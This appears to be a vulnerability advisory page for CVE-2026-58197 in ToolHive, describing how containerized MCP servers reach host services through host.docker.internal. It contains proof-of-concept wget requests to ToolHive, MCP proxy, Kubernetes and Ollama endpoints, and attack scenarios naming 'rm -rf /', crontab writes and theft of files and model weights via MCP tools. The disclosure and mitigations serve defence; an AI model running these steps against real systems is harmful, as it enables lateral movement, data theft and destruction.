# CVE-2026-58197: ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

> CVE-2026-58197 (GitHub advisory GHSA-qg2g-g9w3-m5h8) is a high-severity vulnerability with a CVSS 3.1 base score of 8.8, classed as Improper Access Control (CWE-284), in github.com/stacklok/toolhive (Go). Affected versions: < 0.30.1. It is fixed in 0.30.1.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-58197

| Field | Value |
| --- | --- |
| CVE | CVE-2026-58197 |
| GHSA | GHSA-qg2g-g9w3-m5h8 |
| Severity | High |
| CVSS 3.1 | 8.8 `CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (GitHub Advisory Database) |
| CWE | CWE-284 Improper Access Control; CWE-306 Missing Authentication for Critical Function |
| EPSS | 0.36% (higher than 29% of CVEs) |
| CISA KEV | Not listed |
| SSVC | exploitation poc, automatable no, technical impact total |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

#### Severity

**High** — This bypasses the container isolation model that is ToolHive's core security value proposition.

#### Reproduction

All tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`.

##### 1. Container can reach the ToolHive control plane MCP endpoint

```bash
$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp
```

**Result:** Full MCP handshake succeeds:
```json
{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}
```

##### 2. Container can connect to another MCP server's proxy and call its tools

```bash
$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp
```

**Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

```json
{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}
```

##### 3. Container can reach other host services

```bash
### Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

### Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}
```

#### Attack Scenarios

##### Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

1. Port-scan `host.docker.internal` to discover listening services
2. Attempt MCP handshakes on discovered ports
3. Call privileged tools (e.g., `execute_command("rm -rf /")` or `write_file("/etc/crontab", "...")`)

This achieves **full host compromise without any container escape vulnerability**.

##### Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

- List and stop other running MCP servers (denial of service)
- Start new MCP servers with attacker-controlled images
- Modify configurations

##### Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see.

##### Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

#### Root Causes

1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal`
2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully
3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions

#### Suggested Mitigations

##### Short-term

- **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in.
- **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement.

##### Medium-term

- **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
- **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway.

##### Long-term

- **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
- **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible.

#### Environment

- ToolHive v0.9.3 (macOS desktop app, Docker runtime)
- Docker Desktop for Mac (host.docker.internal enabled by default)
- Tested with `docker.io/mcp/filesystem:latest`

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| github.com/stacklok/toolhive | Go | `pkg:golang/github.com/stacklok/toolhive` | < 0.30.1 | 0.30.1 |

## Fix commits

- Patch: https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0
- Patch: https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712
- Pull request: https://github.com/stacklok/toolhive-studio/pull/2469
- Pull request: https://github.com/stacklok/toolhive/pull/5583
- Release: https://github.com/stacklok/toolhive/commit/966ca7c6ba1cf45ea156e2d08ed9ee5283bc0e01 (0.30.1)

## Questions

**What is the GHSA ID for CVE-2026-58197?**

GitHub tracks CVE-2026-58197 as GHSA-qg2g-g9w3-m5h8.

**What is the CVSS score of CVE-2026-58197?**

CVE-2026-58197 has a CVSS 3.1 base score of 8.8 (High), vector CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.

**Which versions are affected by CVE-2026-58197?**

github.com/stacklok/toolhive (Go): < 0.30.1.

**How do I fix CVE-2026-58197?**

Upgrade to 0.30.1 or later. The fix is in commits 968182d and d8f40cb and pull requests #2469 and #5583.

**What is the Package URL (PURL) for CVE-2026-58197?**

The affected package's PURL is pkg:golang/github.com/stacklok/toolhive.

**Is CVE-2026-58197 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-58197. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc". EPSS estimates a 0.36% chance of exploitation in the next 30 days, higher than 29% of CVEs.

## References

- https://github.com/stacklok/toolhive-studio/pull/2469 (fix)
- https://github.com/stacklok/toolhive/pull/5583 (fix)
- https://github.com/stacklok/toolhive-studio/commit/968182d7f3ee1e55123369e66ad88f82128119b0 (fix)
- https://github.com/stacklok/toolhive/commit/d8f40cb1599b8bf66657f2dfff15bfbfc236e712 (fix)
- https://github.com/stacklok/toolhive/security/advisories/GHSA-qg2g-g9w3-m5h8 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58197.json (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-58197 (advisory)
- https://github.com/advisories/GHSA-qg2g-g9w3-m5h8 (advisory)
- https://github.com/stacklok/toolhive (package)
- https://github.com/stacklok/toolhive-studio/releases/tag/v0.38.0
- https://github.com/stacklok/toolhive/releases/tag/v0.30.1

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-58197), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.